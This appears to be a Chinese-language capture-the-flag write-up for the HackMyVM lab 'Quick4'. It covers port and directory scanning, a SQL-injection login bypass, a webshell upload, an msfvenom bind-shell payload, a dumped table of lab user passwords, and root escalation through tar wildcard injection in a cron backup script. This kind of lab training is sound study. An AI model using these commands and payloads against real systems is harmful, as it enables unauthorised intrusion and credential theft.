简介
靶机名称：quick4
难度：简单
靶场地址：https://hackmyvm.eu/machines/machine.php?vm=Quick4
本地环境
虚拟机：vitual box
靶场IP（quick4）：192.168.56.104
跳板机IP(windows 11)：192.168.56.1 192.168.190.100
渗透机IP(ubuntu 22.04)：192.168.190.30
扫描
nmap起手
nmap -sT --min-rate 10000 -p0- 192.168.56.104 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
经典22和80端口
tcp细扫
nmap -sT -sV -sC -O -p$ports 192.168.56.104 -oA nmapscan/detail
得知有个/admin/路径
HTTP
gobuster扫描路径，发现有一个/employee
gobuster dir -u http://192.168.56.104 -w $HVV_PATH/8_dict/SecLists-master/Discovery/Web-Content/directory-list-2.3-big.txt -b 400-404 -t 10 -x php,zip,bak,jpg,png,mp4,mkv,txt,html
尝试了几轮，发现用任意邮箱和万能密码' or 1='1就可以直接进入后台……
在修改密码界面可以获取密码为gOkRYKGwN57my7bNN2。
人员管理界面给随便一个人上传图片马，顺便把密码也改了
退出，登陆该用户的账号后就能发现头像已经是我们的马了
蚁剑连接成功
升级shell
尝试了好久，反弹shell怎样也回不来……简单靶机也懒得重启排查了，直接上传个bind马连上去就好了
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=9002 -f elf > msf
在/home目录下找到user.txt
HMV{7920c4596aad1b9826721f4cf7ca3bf0}
提权
信息收集
在/var/www/html/employee目录下的admin.php文件中找到数据库配置文件
fastandquicktobefaster
成功登入mysql，得到账密信息(但是没卵用)
mysql> select * from users;
select * from users;
+----+-----------------------------------+-----------------+--------------------+----------+----------------------+
| id | email | name | password | role | profile_picture |
+----+-----------------------------------+-----------------+--------------------+----------+----------------------+
| 1 | info@quick.hmv | Quick | Qe62W064sgRTdxAEpr | admin | uploads/1_admin.png |
| 2 | nick.greenhorn@quick.hmv | Nick Greenhorn | C3ho049g4kwxTxuSUA | employee | uploads/2_2.jpg |
| 3 | andrew.speed@quick.hmv | Andrew Speed | o30VfVgts73ibSboUP | employee | uploads/3_andrew.jpg |
| 4 | jack.black@email.hmv | Jack Black | 1Wd35lRnAKMGMEwcsX | customer | |
| 5 | mike.cooper@quick.hmv | Mike Cooper | Rh978db3URen64yaPP | employee | uploads/5_mike.jpg |
| 6 | j.doe@email.hmv | John Doe | 0i3a8KyWS2IcbmqF02 | customer | |
| 7 | jane_smith@email.hmv | Jane Smith | pL2a92Po2ykXytzX7y | customer | |
| 8 | frank@email.hmv | Frank Stein | 155HseB7sQzIpE2dIG | customer | |
| 9 | fred.flinstone@email.hmv | Fred Flinstone | qM51130xeGHHxKZWqk | customer | |
| 10 | s.hutson@email.hmv | Sandra Hutson | sF217VruHNj6wbjofU | customer | |
| 11 | b.clintwood@email.hmv | Bill Clintwood | 2yLw53N0m08OhFyBXx | customer | |
| 12 | j.bond@email.hmv | James Bond | 7wS93MQPiVQUkqfQ5T | customer | |
| 13 | d.trumpet@email.hmv | Donald Trumpet | f64KBw7cGvu1BkVwcb | customer | |
| 14 | m.monroe@email.hmv | Michelle Monroe | f64KBw7cGvu1BkVwcb | customer | |
| 15 | jeff.anderson@quick.hmv | Jeff Anderson | 5dX3g8hnKo7AFNHXTV | employee | uploads/15_jeff.jpg |
| 16 | lee.ka-shingn@quick.hmv@quick.hmv | Lee Ka-shing | am636X6Rh1u6S8WNr4 | employee | uploads/16_lee.jpg |
| 17 | laura.johnson@email.hmv | Laura Johnson | 95T3OmjOV3gublmR7Z | customer | |
| 18 | coos.busters@quick.hmv | Coos Busters | f1CD3u3XVo0uXumGah | employee | uploads/18_coos.jpg |
| 19 | n.down@email.hmv | Neil Down | Lj9Wr562vqNuLlkTr0 | customer | |
| 20 | t.green@email.hmv | Teresa Green | 7zQ19L0HhFsivH3zFi | customer | |
| 21 | k.ball@email.hmv | Krystal Ball | k1TI68MmYu8uQHhfS1 | customer | |
| 22 | juan.mecanico@quick.hmv | Juan Mecnico | 5a34pXYDAOUMZCoPrg | employee | uploads/22_juan.jpg |
| 23 | john.smith@quick.hmv | John Smith | 5Wqio90BLd7i4oBMXJ | employee | uploads/23_john.jpg |
| 24 | misty.cupp@email.hmv | Misty Cupp | c1P35bcdw0mF3ExJXG | customer | |
| 25 | lara.johnson@quick.hmv | Lara Johnson | 123 | employee | uploads/25_2.php |
| 26 | j.daniels@email.hmv | James Daniels | yF891teFhjhj0Rg7ds | customer | |
| 27 | dick_swett@email.hmv | Dick Swett | y6KA4378EbK0ePv5XN | customer | |
| 28 | a.lucky@email.hmv | Anna Lucky | c1P35bcdw0mF3ExJXG | customer | |
| 29 | 123@qq.com | 123 | 123 | customer | |
+----+-----------------------------------+-----------------+--------------------+----------+----------------------+
29 rows in set (0.00 sec)
然后祭出linpeas，发现有backup.sh
#!/bin/bash
cd /var/www/html/
tar czf /var/backups/backup-website.tar.gz *
定时任务
定时任务里面也有相关任务
gtfobins上有写怎么利用，因为*会把文件名当成参数读入，所以直接在/var/www/html/像下面这样构造即可
然后就能弹到shell了
提权成功，root用户目录下找到flag
HMV{858d77929683357d07237ef3e3604597}
